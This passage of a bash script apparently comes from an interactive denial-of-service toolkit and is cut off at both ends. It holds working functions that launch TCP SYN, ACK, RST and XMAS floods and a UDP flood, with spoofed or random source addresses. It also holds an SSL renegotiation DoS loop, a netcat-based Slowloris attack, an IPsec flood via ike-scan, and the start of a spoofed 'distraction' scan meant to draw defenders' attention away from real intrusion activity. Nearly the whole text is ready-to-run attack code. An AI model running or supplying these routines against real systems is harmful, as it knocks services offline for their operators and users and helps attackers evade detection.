fi 378 | } 379 | ##END BLACKNURSE## 380 | ################## 381 | 382 | 383 | ##################### 384 | ##START TCPSYNFLOOD## 385 | synflood() 386 | { echo "TCP SYN Flood uses hping3...checking for hping3..." 387 | if test -f "/usr/sbin/hping3"; then echo "hping3 found, continuing!"; 388 | #hping3 is found, so use that for TCP SYN Flood 389 | echo "Enter target:" 390 | #need a target IP/hostname 391 | read -i $TARGET -e TARGET 392 | #need a port to send TCP SYN packets to 393 | echo "Enter target port (defaults to 80):" 394 | read -i $PORT -e PORT 395 | : ${PORT:=80} 396 | #check a valid integer is given for the port, anything else is invalid 397 | if ! [[ "$PORT" =~ ^[0-9]+$ ]]; then 398 | PORT=80 && echo "Invalid port, reverting to port 80" 399 | elif [ "$PORT" -lt "1" ]; then 400 | PORT=80 && echo "Invalid port number chosen! Reverting port 80" 401 | elif [ "$PORT" -gt "65535" ]; then 402 | PORT=80 && echo "Invalid port chosen! Reverting to port 80" 403 | else echo "Using Port $PORT" 404 | fi 405 | #What source address to use? Manually defined, or random, or outgoing interface IP? 406 | echo "Enter Source IP, or [r]andom or [i]nterface IP (default):" 407 | read -i $SOURCE -e SOURCE 408 | : ${SOURCE:=i} 409 | #should any data be sent with the SYN packet? Default is to send no data 410 | echo "Send data with SYN packet? [y]es or [n]o (default)" 411 | read -i $SENDDATA -e SENDDATA 412 | : ${SENDDATA:=n} 413 | if [[ $SENDDATA = y ]]; then 414 | #we've chosen to send data, so how much should we send? 415 | echo "Enter number of data bytes to send (default 3000):" 416 | read -i $DATA -e DATA 417 | : ${DATA:=3000} 418 | #If not an integer is entered, use default 419 | if ! [[ "$DATA" =~ ^[0-9]+$ ]]; then 420 | DATA=3000 && echo "Invalid integer! Using data length of 3000 bytes" 421 | fi 422 | #if $SENDDATA is not equal to y (yes) then send no data 423 | else DATA=0 424 | fi 425 | #start TCP SYN flood using values defined earlier 426 | #note that virtual fragmentation is set. The default for hping3 is 16 bytes. 427 | #fragmentation should therefore place more stress on the target system 428 | if [[ "$SOURCE" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]]; then 429 | echo "Starting TCP SYN Flood. Use 'Ctrl c' to end and return to menu" 430 | sudo hping3 --flood -d $DATA --frag --spoof $SOURCE -p $PORT -S $TARGET 431 | elif [ "$SOURCE" = "r" ]; then 432 | echo "Starting TCP SYN Flood. Use 'Ctrl c' to end and return to menu" 433 | sudo hping3 --flood -d $DATA --frag --rand-source -p $PORT -S $TARGET 434 | elif [ "$SOURCE" = "i" ]; then 435 | echo "Starting TCP SYN Flood. Use 'Ctrl c' to end and return to menu" 436 | sudo hping3 -d $DATA --flood --frag -p $PORT -S $TARGET 437 | else echo "Not a valid option! Using interface IP" 438 | echo "Starting TCP SYN Flood. Use 'Ctrl c' to end and return to menu" 439 | sudo hping3 --flood -d $DATA --frag -p $PORT -S $TARGET 440 | fi 441 | #No hping3 so using nping for TCP SYN Flood 442 | else echo "hping3 not found :( trying nping instead" 443 | echo "" 444 | echo "Trying TCP SYN Flood with nping..this will work but is not ideal" 445 | #need a valid target ip/hostname 446 | echo "Enter target:" 447 | read -i $TARGET -e TARGET 448 | #need a valid target port 449 | echo "Enter target port (defaults to 80):" 450 | read -i $PORT -e PORT 451 | : ${PORT:=80} 452 | #check a valid integer is given for the port, anything else is invalid 453 | if ! [[ "$PORT" =~ ^[0-9]+$ ]]; then 454 | PORT=80 && echo "Invalid port, reverting to port 80" 455 | elif [ "$PORT" -lt "1" ]; then 456 | PORT=80 && echo "Invalid port number chosen! Reverting port 80" 457 | elif [ "$PORT" -gt "65535" ]; then 458 | PORT=80 && echo "Invalid port chosen! Reverting to port 80" 459 | else echo "Using Port $PORT" 460 | fi 461 | #define source IP or use outgoing interface IP 462 | echo "Enter Source IP or use [i]nterface IP (default):" 463 | read -i $SOURCE -e SOURCE 464 | : ${SOURCE:=i} 465 | #How many packets to send per second? default is 10k 466 | echo "Enter number of packets to send per second (default is 10,000):" 467 | read RATE 468 | : ${RATE:=10000} 469 | #how many packets in total to send? 470 | #default is 100k, so using default values will send 10k packets per second for 10 seconds 471 | echo "Enter total number of packets to send (default is 100,000):" 472 | read TOTAL 473 | : ${TOTAL:=100000} 474 | echo "Starting TCP SYN Flood..." 475 | #begin TCP SYN flood using values defined earlier 476 | if [ "$SOURCE" = "i" ]; then 477 | sudo nping --tcp --dest-port $PORT --flags syn --rate $RATE -c $TOTAL -v-1 $TARGET 478 | else sudo nping --tcp --dest-port $PORT --flags syn --rate $RATE -c $TOTAL -v-1 -S $SOURCE $TARGET 479 | fi 480 | fi 481 | } 482 | ##END TCPSYNFLOOD## 483 | ################### 484 | 485 | ##################### 486 | ##START TCPACKFLOOD## 487 | ackflood() 488 | { echo "TCP ACK Flood uses hping3...checking for hping3..." 489 | if test -f "/usr/sbin/hping3"; then echo "hping3 found, continuing!"; 490 | #hping3 is found, so use that for TCP ACK Flood 491 | echo "Enter target:" 492 | #need a target IP/hostname 493 | read -i $TARGET -e TARGET 494 | #need a port to send TCP ACK packets to 495 | echo "Enter target port (defaults to 80):" 496 | read -i $PORT -e PORT 497 | : ${PORT:=80} 498 | #check a valid integer is given for the port, anything else is invalid 499 | if ! [[ "$PORT" =~ ^[0-9]+$ ]]; then 500 | PORT=80 && echo "Invalid port, reverting to port 80" 501 | elif [ "$PORT" -lt "1" ]; then 502 | PORT=80 && echo "Invalid port number chosen! Reverting port 80" 503 | elif [ "$PORT" -gt "65535" ]; then 504 | PORT=80 && echo "Invalid port chosen! Reverting to port 80" 505 | else echo "Using Port $PORT" 506 | fi 507 | #What source address to use? Manually defined, or random, or outgoing interface IP? 508 | echo "Enter Source IP, or [r]andom or [i]nterface IP (default):" 509 | read -i $SOURCE -e SOURCE 510 | : ${SOURCE:=i} 511 | #should any data be sent with the ACK packet? Default is to send no data 512 | echo "Send data with ACK packet? [y]es or [n]o (default)" 513 | read -i $SENDDATA -e SENDDATA 514 | : ${SENDDATA:=n} 515 | if [[ $SENDDATA = y ]]; then 516 | #we've chosen to send data, so how much should we send? 517 | echo "Enter number of data bytes to send (default 3000):" 518 | read -i $DATA -e DATA 519 | : ${DATA:=3000} 520 | #If not an integer is entered, use default 521 | if ! [[ "$DATA" =~ ^[0-9]+$ ]]; then 522 | DATA=3000 && echo "Invalid integer! Using data length of 3000 bytes" 523 | fi 524 | #if $SENDDATA is not equal to y (yes) then send no data 525 | else DATA=0 526 | fi 527 | #start TCP ACK flood using values defined earlier 528 | #note that virtual fragmentation is set. The default for hping3 is 16 bytes. 529 | #fragmentation should therefore place more stress on the target system 530 | if [[ "$SOURCE" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]]; then 531 | echo "Starting TCP ACK Flood. Use 'Ctrl c' to end and return to menu" 532 | sudo hping3 --flood -d $DATA --frag --spoof $SOURCE -p $PORT -A $TARGET 533 | elif [ "$SOURCE" = "r" ]; then 534 | echo "Starting TCP ACK Flood. Use 'Ctrl c' to end and return to menu" 535 | sudo hping3 --flood -d $DATA --frag --rand-source -p $PORT -A $TARGET 536 | elif [ "$SOURCE" = "i" ]; then 537 | echo "Starting TCP ACK Flood. Use 'Ctrl c' to end and return to menu" 538 | sudo hping3 -d $DATA --flood --frag -p $PORT -A $TARGET 539 | else echo "Not a valid option! Using interface IP" 540 | echo "Starting TCP ACK Flood. Use 'Ctrl c' to end and return to menu" 541 | sudo hping3 --flood -d $DATA --frag -p $PORT -A $TARGET 542 | fi 543 | #No hping3 so using nping for TCP ACK Flood 544 | else echo "hping3 not found :( trying nping instead" 545 | echo "" 546 | echo "Trying TCP ACK Flood with nping..this will work but is not ideal" 547 | #need a valid target ip/hostname 548 | echo "Enter target:" 549 | read -i $TARGET -e TARGET 550 | #need a valid target port 551 | echo "Enter target port (defaults to 80):" 552 | read -i $PORT -e PORT 553 | : ${PORT:=80} 554 | #check a valid integer is given for the port, anything else is invalid 555 | if ! [[ "$PORT" =~ ^[0-9]+$ ]]; then 556 | PORT=80 && echo "Invalid port, reverting to port 80" 557 | elif [ "$PORT" -lt "1" ]; then 558 | PORT=80 && echo "Invalid port number chosen! Reverting port 80" 559 | elif [ "$PORT" -gt "65535" ]; then 560 | PORT=80 && echo "Invalid port chosen! Reverting to port 80" 561 | else echo "Using Port $PORT" 562 | fi 563 | #define source IP or use outgoing interface IP 564 | echo "Enter Source IP or use [i]nterface IP (default):" 565 | read -i $SOURCE -e SOURCE 566 | : ${SOURCE:=i} 567 | #How many packets to send per second? default is 10k 568 | echo "Enter number of packets to send per second (default is 10,000):" 569 | read RATE 570 | : ${RATE:=10000} 571 | #how many packets in total to send? 572 | #default is 100k, so using default values will send 10k packets per second for 10 seconds 573 | echo "Enter total number of packets to send (default is 100,000):" 574 | read TOTAL 575 | : ${TOTAL:=100000} 576 | echo "Starting TCP ACK Flood..." 577 | #begin TCP ACK flood using values defined earlier 578 | if [ "$SOURCE" = "i" ]; then 579 | sudo nping --tcp --dest-port $PORT --flags ack --rate $RATE -c $TOTAL -v-1 $TARGET 580 | else sudo nping --tcp --dest-port $PORT --flags ack --rate $RATE -c $TOTAL -v-1 -S $SOURCE $TARGET 581 | fi 582 | fi 583 | } 584 | ##END TCPACKFLOOD## 585 | ################### 586 | 587 | ##################### 588 | ##START TCPRSTFLOOD## 589 | rstflood() 590 | { echo "TCP RST Flood uses hping3...checking for hping3..." 591 | if test -f "/usr/sbin/hping3"; then echo "hping3 found, continuing!"; 592 | #hping3 is found, so use that for TCP RST Flood 593 | echo "Enter target:" 594 | #need a target IP/hostname 595 | read -i $TARGET -e TARGET 596 | #need a port to send TCP RST packets to 597 | echo "Enter target port (defaults to 80):" 598 | read -i $PORT -e PORT 599 | : ${PORT:=80} 600 | #check a valid integer is given for the port, anything else is invalid 601 | if ! [[ "$PORT" =~ ^[0-9]+$ ]]; then 602 | PORT=80 && echo "Invalid port, reverting to port 80" 603 | elif [ "$PORT" -lt "1" ]; then 604 | PORT=80 && echo "Invalid port number chosen! Reverting port 80" 605 | elif [ "$PORT" -gt "65535" ]; then 606 | PORT=80 && echo "Invalid port chosen! Reverting to port 80" 607 | else echo "Using Port $PORT" 608 | fi 609 | #What source address to use? Manually defined, or random, or outgoing interface IP? 610 | echo "Enter Source IP, or [r]andom or [i]nterface IP (default):" 611 | read -i $SOURCE -e SOURCE 612 | : ${SOURCE:=i} 613 | #should any data be sent with the RST packet? Default is to send no data 614 | echo "Send data with RST packet? [y]es or [n]o (default)" 615 | read -i $SENDDATA -e SENDDATA 616 | : ${SENDDATA:=n} 617 | if [[ $SENDDATA = y ]]; then 618 | #we've chosen to send data, so how much should we send? 619 | echo "Enter number of data bytes to send (default 3000):" 620 | read -i $DATA -e DATA 621 | : ${DATA:=3000} 622 | #If not an integer is entered, use default 623 | if ! [[ "$DATA" =~ ^[0-9]+$ ]]; then 624 | DATA=3000 && echo "Invalid integer! Using data length of 3000 bytes" 625 | fi 626 | #if $SENDDATA is not equal to y (yes) then send no data 627 | else DATA=0 628 | fi 629 | #start TCP RST flood using values defined earlier 630 | #note that virtual fragmentation is set. The default for hping3 is 16 bytes. 631 | #fragmentation should therefore place more stress on the target system 632 | if [[ "$SOURCE" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]]; then 633 | echo "Starting TCP RST Flood. Use 'Ctrl c' to end and return to menu" 634 | sudo hping3 --flood -d $DATA --frag --spoof $SOURCE -p $PORT -R $TARGET 635 | elif [ "$SOURCE" = "r" ]; then 636 | echo "Starting TCP RST Flood. Use 'Ctrl c' to end and return to menu" 637 | sudo hping3 --flood -d $DATA --frag --rand-source -p $PORT -R $TARGET 638 | elif [ "$SOURCE" = "i" ]; then 639 | echo "Starting TCP RST Flood. Use 'Ctrl c' to end and return to menu" 640 | sudo hping3 -d $DATA --flood --frag -p $PORT -R $TARGET 641 | else echo "Not a valid option! Using interface IP" 642 | echo "Starting TCP RST Flood. Use 'Ctrl c' to end and return to menu" 643 | sudo hping3 --flood -d $DATA --frag -p $PORT -R $TARGET 644 | fi 645 | #No hping3 so using nping for TCP RST Flood 646 | else echo "hping3 not found :( trying nping instead" 647 | echo "" 648 | echo "Trying TCP RST Flood with nping..this will work but is not ideal" 649 | #need a valid target ip/hostname 650 | echo "Enter target:" 651 | read -i $TARGET -e TARGET 652 | #need a valid target port 653 | echo "Enter target port (defaults to 80):" 654 | read -i $PORT -e PORT 655 | : ${PORT:=80} 656 | #check a valid integer is given for the port, anything else is invalid 657 | if ! [[ "$PORT" =~ ^[0-9]+$ ]]; then 658 | PORT=80 && echo "Invalid port, reverting to port 80" 659 | elif [ "$PORT" -lt "1" ]; then 660 | PORT=80 && echo "Invalid port number chosen! Reverting port 80" 661 | elif [ "$PORT" -gt "65535" ]; then 662 | PORT=80 && echo "Invalid port chosen! Reverting to port 80" 663 | else echo "Using Port $PORT" 664 | fi 665 | #define source IP or use outgoing interface IP 666 | echo "Enter Source IP or use [i]nterface IP (default):" 667 | read -i $SOURCE -e SOURCE 668 | : ${SOURCE:=i} 669 | #How many packets to send per second? default is 10k 670 | echo "Enter number of packets to send per second (default is 10,000):" 671 | read RATE 672 | : ${RATE:=10000} 673 | #how many packets in total to send? 674 | #default is 100k, so using default values will send 10k packets per second for 10 seconds 675 | echo "Enter total number of packets to send (default is 100,000):" 676 | read TOTAL 677 | : ${TOTAL:=100000} 678 | echo "Starting TCP RST Flood..." 679 | #begin TCP RST flood using values defined earlier 680 | if [ "$SOURCE" = "i" ]; then 681 | sudo nping --tcp --dest-port $PORT --flags rst --rate $RATE -c $TOTAL -v-1 $TARGET 682 | else sudo nping --tcp --dest-port $PORT --flags rst --rate $RATE -c $TOTAL -v-1 -S $SOURCE $TARGET 683 | fi 684 | fi 685 | } 686 | ##END TCPRSTFLOOD## 687 | ################### 688 | 689 | ##################### 690 | ##START TCPXMASFLOOD## 691 | xmasflood() 692 | { echo "TCP XMAS Flood uses hping3...checking for hping3..." 693 | if test -f "/usr/sbin/hping3"; then echo "hping3 found, continuing!"; 694 | #hping3 is found, so use that for TCP XMAS Flood 695 | echo "Enter target:" 696 | #need a target IP/hostname 697 | read -i $TARGET -e TARGET 698 | #need a port to send TCP XMAS packets to 699 | echo "Enter target port (defaults to 80):" 700 | read -i $PORT -e PORT 701 | : ${PORT:=80} 702 | #check a valid integer is given for the port, anything else is invalid 703 | if ! [[ "$PORT" =~ ^[0-9]+$ ]]; then 704 | PORT=80 && echo "Invalid port, reverting to port 80" 705 | elif [ "$PORT" -lt "1" ]; then 706 | PORT=80 && echo "Invalid port number chosen! Reverting port 80" 707 | elif [ "$PORT" -gt "65535" ]; then 708 | PORT=80 && echo "Invalid port chosen! Reverting to port 80" 709 | else echo "Using Port $PORT" 710 | fi 711 | #What source address to use? Manually defined, or random, or outgoing interface IP? 712 | echo "Enter Source IP, or [r]andom or [i]nterface IP (default):" 713 | read -i $SOURCE -e SOURCE 714 | : ${SOURCE:=i} 715 | #should any data be sent with the XMAS packet? Default is to send no data 716 | echo "Send data with XMAS packet? [y]es or [n]o (default)" 717 | read -i $SENDDATA -e SENDDATA 718 | : ${SENDDATA:=n} 719 | if [[ $SENDDATA = y ]]; then 720 | #we've chosen to send data, so how much should we send? 721 | echo "Enter number of data bytes to send (default 3000):" 722 | read -i $DATA -e DATA 723 | : ${DATA:=3000} 724 | #If not an integer is entered, use default 725 | if ! [[ "$DATA" =~ ^[0-9]+$ ]]; then 726 | DATA=3000 && echo "Invalid integer! Using data length of 3000 bytes" 727 | fi 728 | #if $SENDDATA is not equal to y (yes) then send no data 729 | else DATA=0 730 | fi 731 | #start TCP XMAS flood using values defined earlier 732 | if [[ "$SOURCE" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]]; then 733 | echo "Starting TCP XMAS Flood. Use 'Ctrl c' to end and return to menu" 734 | sudo hping3 --flood -d $DATA --spoof $SOURCE -p $PORT -F -S -R -P -A -U -X -Y $TARGET 735 | elif [ "$SOURCE" = "r" ]; then 736 | echo "Starting TCP XMAS Flood. Use 'Ctrl c' to end and return to menu" 737 | sudo hping3 --flood -d $DATA --rand-source -p $PORT -F -S -R -P -A -U -X -Y $TARGET 738 | elif [ "$SOURCE" = "i" ]; then 739 | echo "Starting TCP XMAS Flood. Use 'Ctrl c' to end and return to menu" 740 | sudo hping3 -d $DATA --flood -p $PORT -F -S -R -P -A -U -X -Y $TARGET 741 | else echo "Not a valid option! Using interface IP" 742 | echo "Starting TCP XMAS Flood. Use 'Ctrl c' to end and return to menu" 743 | sudo hping3 --flood -d $DATA -p $PORT -F -S -R -P -A -U -X -Y $TARGET 744 | fi 745 | #No hping3 so using nping for TCP RST Flood 746 | else echo "hping3 not found :( trying nping instead" 747 | echo "" 748 | echo "Trying TCP XMAS Flood with nping..this will work but is not ideal" 749 | #need a valid target ip/hostname 750 | echo "Enter target:" 751 | read -i $TARGET -e TARGET 752 | #need a valid target port 753 | echo "Enter target port (defaults to 80):" 754 | read -i $PORT -e PORT 755 | : ${PORT:=80} 756 | #check a valid integer is given for the port, anything else is invalid 757 | if ! [[ "$PORT" =~ ^[0-9]+$ ]]; then 758 | PORT=80 && echo "Invalid port, reverting to port 80" 759 | elif [ "$PORT" -lt "1" ]; then 760 | PORT=80 && echo "Invalid port number chosen! Reverting port 80" 761 | elif [ "$PORT" -gt "65535" ]; then 762 | PORT=80 && echo "Invalid port chosen! Reverting to port 80" 763 | else echo "Using Port $PORT" 764 | fi 765 | #define source IP or use outgoing interface IP 766 | echo "Enter Source IP or use [i]nterface IP (default):" 767 | read -i $SOURCE -e SOURCE 768 | : ${SOURCE:=i} 769 | #How many packets to send per second? default is 10k 770 | echo "Enter number of packets to send per second (default is 10,000):" 771 | read RATE 772 | : ${RATE:=10000} 773 | #how many packets in total to send? 774 | #default is 100k, so using default values will send 10k packets per second for 10 seconds 775 | echo "Enter total number of packets to send (default is 100,000):" 776 | read TOTAL 777 | : ${TOTAL:=100000} 778 | echo "Starting TCP XMAS Flood..." 779 | #begin TCP RST flood using values defined earlier 780 | if [ "$SOURCE" = "i" ]; then 781 | sudo nping --tcp --dest-port $PORT --flags cwr,ecn,urg,ack,psh,rst,syn,fin --rate $RATE -c $TOTAL -v-1 $TARGET 782 | else sudo nping --tcp --dest-port $PORT --flags cwr,ecn,urg,ack,psh,rst,syn,fin --rate $RATE -c $TOTAL -v-1 -S $SOURCE $TARGET 783 | fi 784 | fi 785 | } 786 | ##END TCPXMASFLOOD## 787 | ################### 788 | 789 | ################## 790 | ##START UDPFLOOD## 791 | udpflood() 792 | { echo "UDP Flood uses hping3...checking for hping3..." 793 | #check for hping on the local system 794 | if test -f "/usr/sbin/hping3"; then echo "hping3 found, continuing!"; 795 | #hping3 is found, so use that for UDP Flood 796 | #need a valid target IP/hostname 797 | echo "Enter target:" 798 | read -i $TARGET -e TARGET 799 | #need a valid target UDP port 800 | echo "Enter target port (defaults to 80):" 801 | read -i $PORT -e PORT 802 | : ${PORT:=80} 803 | #check a valid integer is given for the port, anything else is invalid 804 | if ! [[ "$PORT" =~ ^[0-9]+$ ]]; then 805 | PORT=80 && echo "Invalid port, reverting to port 80" 806 | elif [ "$PORT" -lt "1" ]; then 807 | PORT=80 && echo "Invalid port number chosen! Reverting port 80" 808 | elif [ "$PORT" -gt "65535" ]; then 809 | PORT=80 && echo "Invalid port chosen! Reverting to port 80" 810 | else echo "Using Port $PORT" 811 | fi 812 | #what data should we send with each packet? 813 | #curently only accepts stdin. Can't define a file to read from 814 | echo "Enter random string (data to send):" 815 | read DATA 816 | #what source IP should we write to sent packets? 817 | echo "Enter Source IP, or [r]andom or [i]nterface IP (default):" 818 | read -i $SOURCE -e SOURCE 819 | : ${SOURCE:=i} 820 | #start the attack using values defined earlier 821 | if [[ "$SOURCE" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]]; then 822 | echo "Starting UDP Flood. Use 'Ctrl c' to end and return to menu" 823 | sudo hping3 --flood --spoof $SOURCE --udp --sign $DATA -p $PORT $TARGET 824 | elif [ "$SOURCE" = "r" ]; then 825 | echo "Starting UDP Flood. Use 'Ctrl c' to end and return to menu" 826 | sudo hping3 --flood --rand-source --udp --sign $DATA -p $PORT $TARGET 827 | elif [ "$SOURCE" = "i" ]; then 828 | echo "Starting UDP Flood. Use 'Ctrl c' to end and return to menu" 829 | sudo hping3 --flood --udp --sign $DATA -p $PORT $TARGET 830 | #if no valid source option is selected, use outgoing interface IP 831 | else echo "Not a valid option! Using interface IP" 832 | echo "Starting UDP Flood. Use 'Ctrl c' to end and return to menu" 833 | sudo hping3 --flood --udp --sign $DATA -p $PORT $TARGET 834 | fi 835 | #If no hping3, use nping for UDP Flood instead. Not ideal but it will work. 836 | else echo "hping3 not found :( trying nping instead" 837 | echo "" 838 | echo "Trying UDP Flood with nping.." 839 | echo "Enter target:" 840 | #need a valid target IP/hostname 841 | read -i $TARGET -e TARGET 842 | echo "Enter target port (defaults to 80):" 843 | #need a port to send UDP packets to 844 | read -i $PORT -e PORT 845 | : ${PORT:=80} 846 | #check a valid integer is given for the port, anything else is invalid 847 | if ! [[ "$PORT" =~ ^[0-9]+$ ]]; then 848 | PORT=80 && echo "Invalid port, reverting to port 80" 849 | elif [ "$PORT" -lt "1" ]; then 850 | PORT=80 && echo "Invalid port number chosen! Reverting port 80" 851 | elif [ "$PORT" -gt "65535" ]; then 852 | PORT=80 && echo "Invalid port chosen! Reverting to port 80" 853 | else echo "Using Port $PORT" 854 | fi 855 | #what source address should we use in sent packets? 856 | echo "Enter Source IP or use [i]nterface IP (default):" 857 | read -i $SOURCE -e SOURCE 858 | : ${SOURCE:=i} 859 | #how many packets should we try to send each second? 860 | echo "Enter number of packets to send per second (default is 10,000):" 861 | read RATE 862 | : ${RATE:=10000} 863 | #how many packets should we send in total? 864 | echo "Enter total number of packets to send (default is 100,000):" 865 | read TOTAL 866 | : ${TOTAL:=100000} 867 | #default values will send 10k packets each second, for 10 seconds 868 | #what data should we send with each packet? 869 | #curently only accepts stdin. Can't define a file to read from 870 | echo "Enter string to send (data):" 871 | read DATA 872 | echo "Starting UDP Flood..." 873 | #start the UDP flood using values we defined earlier 874 | if [ "$SOURCE" = "i" ]; then 875 | sudo nping --udp --dest-port $PORT --data-string $DATA --rate $RATE -c $TOTAL -v-1 $TARGET 876 | else sudo nping --udp --dest-port $PORT --data-string $DATA --rate $RATE -c $TOTAL -v-1 -S $SOURCE $TARGET 877 | fi 878 | fi 879 | } 880 | ##END UDPFLOOD## 881 | ################ 882 | 883 | ################ 884 | ##START SSLDOS## 885 | ssldos() 886 | { echo "Using openssl for SSL/TLS DOS" 887 | echo "Enter target:" 888 | #need a target IP/hostname 889 | read -i $TARGET -e TARGET 890 | #need a target port 891 | echo "Enter target port (defaults to 443):" 892 | read -i $PORT -e PORT 893 | : ${PORT:=443} 894 | #check a valid target port is entered otherwise assume port 443 895 | if ! [[ "$PORT" =~ ^[0-9]+$ ]]; then 896 | PORT=443 && echo "You provided a string, not a port number! Reverting to port 443" 897 | fi 898 | if [ "$PORT" -lt "1" ]; then 899 | PORT=443 && echo "Invalid port number chosen! Reverting to port 443" 900 | elif [ "$PORT" -gt "65535" ]; then 901 | PORT=443 && echo "Invalid port number chosen! Reverting to port 443" 902 | else echo "Using port $PORT" 903 | fi 904 | #do we want to use client renegotiation? 905 | echo "Use client renegotiation? [y]es or [n]o (default):" 906 | read NEGOTIATE 907 | : ${NEGOTIATE:=n} 908 | if [[ $NEGOTIATE = y ]]; then 909 | #if client renegotiation is selected for use, launch the attack supporting it 910 | echo "Starting SSL DOS attack...Use 'Ctrl c' to quit" && sleep 1 911 | while : for i in {1..10} 912 | do echo "spawning instance, attempting client renegotiation"; echo "R" | openssl s_client -connect $TARGET:$PORT 2>/dev/null 1>/dev/null & 913 | done 914 | elif [[ $NEGOTIATE = n ]]; then 915 | #if client renegotiation is not requested, lauch the attack without support for it 916 | echo "Starting SSL DOS attack...Use 'Ctrl c' to quit" && sleep 1 917 | while : for i in {1..10} 918 | do echo "spawning instance"; openssl s_client -connect $TARGET:$PORT 2>/dev/null 1>/dev/null & 919 | done 920 | #if an invalid option is chosen for client renegotiation, launch the attack without it 921 | else 922 | echo "Invalid option, assuming no client renegotiation" 923 | echo "Starting SSL DOS attack...Use 'Ctrl c' to quit" && sleep 1 924 | while : for i in {1..10} 925 | do echo "spawning instance"; openssl s_client -connect $TARGET:$PORT 2>/dev/null 1>/dev/null & 926 | done 927 | fi 928 | #The SSL/TLS DOS code is crude but it can be brutally effective 929 | } 930 | ##END SSLDOS## 931 | ############## 932 | 933 | ################## 934 | ##START SLOWLORIS## 935 | slowloris() 936 | { echo "Using netcat for Slowloris attack...." && sleep 1 937 | echo "Enter target:" 938 | #need a target IP or hostname 939 | read -i $TARGET -e TARGET 940 | echo "Target is set to $TARGET" 941 | #need a target port 942 | echo "Enter target port (defaults to 80):" 943 | read -i $PORT -e PORT 944 | : ${PORT:=80} 945 | #check a valid integer is given for the port, anything else is invalid 946 | if ! [[ "$PORT" =~ ^[0-9]+$ ]]; then 947 | PORT=80 && echo "Invalid port, reverting to port 80" 948 | elif [ "$PORT" -lt "1" ]; then 949 | PORT=80 && echo "Invalid port number chosen! Reverting port 80" 950 | elif [ "$PORT" -gt "65535" ]; then 951 | PORT=80 && echo "Invalid port chosen! Reverting to port 80" 952 | else echo "Using Port $PORT" 953 | fi 954 | #how many connections should we attempt to open with the target? 955 | #there is no hard limit, it depends on available resources. Default is 2000 simultaneous connections 956 | echo "Enter number of connections to open (default 2000):" 957 | read CONNS 958 | : ${CONNS:=2000} 959 | #ensure a valid integer is entered 960 | if ! [[ "$CONNS" =~ ^[0-9]+$ ]]; then 961 | CONNS=2000 && echo "Invalid integer! Using 2000 connections" 962 | fi 963 | #how long do we wait between sending header lines? 964 | #too long and the connection will likely be closed 965 | #too short and our connections have little/no effect on server 966 | #either too long or too short is bad. Default random interval is a sane choice 967 | echo "Choose interval between sending headers." 968 | echo "Default is [r]andom, between 5 and 15 seconds, or enter interval in seconds:" 969 | read INTERVAL 970 | : ${INTERVAL:=r} 971 | if [[ "$INTERVAL" = "r" ]] 972 | then 973 | #if default (random) interval is chosen, generate a random value between 5 and 15 974 | #note that this module uses $RANDOM to generate random numbers, it is sufficient for our needs 975 | INTERVAL=$((RANDOM % 11 + 5)) 976 | #check that r (random) or a valid number is entered 977 | elif ! [[ "$INTERVAL" =~ ^[0-9]+$ ]] && ! [[ "$INTERVAL" = "r" ]] 978 | then 979 | #if not r (random) or valid number is chosen for interval, assume r (random) 980 | INTERVAL=$((RANDOM % 11 + 5)) && echo "Invalid integer! Using random value between 5 and 15 seconds" 981 | fi 982 | #run stunnel_client function 983 | stunnel_client 984 | if [[ "$SSL" = "y" ]] 985 | then 986 | #if SSL is chosen, set the attack to go through local stunnel listener 987 | echo "Launching Slowloris....Use 'Ctrl c' to exit prematurely" && sleep 1 988 | i=1 989 | while [ "$i" -le "$CONNS" ]; do 990 | echo "Slowloris attack ongoing...this is connection $i, interval is $INTERVAL seconds"; echo -e "GET / HTTP/1.1\r\nHost: $TARGET\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nDNT: 1\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n$RANDOM: $RANDOM\r\n"|nc -i $INTERVAL -w 30000 $LHOST $LPORT 2>/dev/null 1>/dev/null & i=$((i + 1)); done 991 | echo "Opened $CONNS connections....returning to menu" 992 | else 993 | #if SSL is not chosen, launch the attack on the server without using a local listener 994 | echo "Launching Slowloris....Use 'Ctrl c' to exit prematurely" && sleep 1 995 | i=1 996 | while [ "$i" -le "$CONNS" ]; do 997 | echo "Slowloris attack ongoing...this is connection $i, interval is $INTERVAL seconds"; echo -e "GET / HTTP/1.1\r\nHost: $TARGET\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nDNT: 1\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n$RANDOM: $RANDOM\r\n"|nc -i $INTERVAL -w 30000 $TARGET $PORT 2>/dev/null 1>/dev/null & i=$((i + 1)); done 998 | #return to menu once requested number of connections has been opened or resources are exhausted 999 | echo "Opened $CONNS connections....returning to menu" 1000 | fi 1001 | } 1002 | ##END SLOWLORIS## 1003 | ################# 1004 | 1005 | ################### 1006 | ##START IPSEC DOS## 1007 | ipsecdos() 1008 | { echo "This module will attempt to spoof an IPsec server, with a spoofed source address" 1009 | echo "Enter target IP or hostname:" 1010 | read -i $TARGET -e TARGET 1011 | #launch DOS with a random source address by default 1012 | echo "IPsec DOS underway...use 'Ctrl C' to stop" && 1013 | while : 1014 | do sudo ike-scan -A -B 100M -t 1 --sourceip=random $TARGET 1>/dev/null; sudo ike-scan -B 100M -t 1 -q --sourceip=random $TARGET 1>/dev/null 1015 | done 1016 | } 1017 | ##END IPSEC DOS## 1018 | ################# 1019 | 1020 | ##################### 1021 | ##START DISTRACTION## 1022 | distractionscan() 1023 | { echo "This module will send a TCP SYN scan with a spoofed source address" 1024 | echo "This module is designed to be obvious, to distract your target from any real scan or other activity you may actually be performing" 1025 | echo "Enter target:" 1026 | #need target IP/hostname 1027 | read -i $TARGET -e TARGET 1028 | echo "Enter spoofed source address:" 1029 | #need a spoofed source address 1030 | read -i $SOURCE 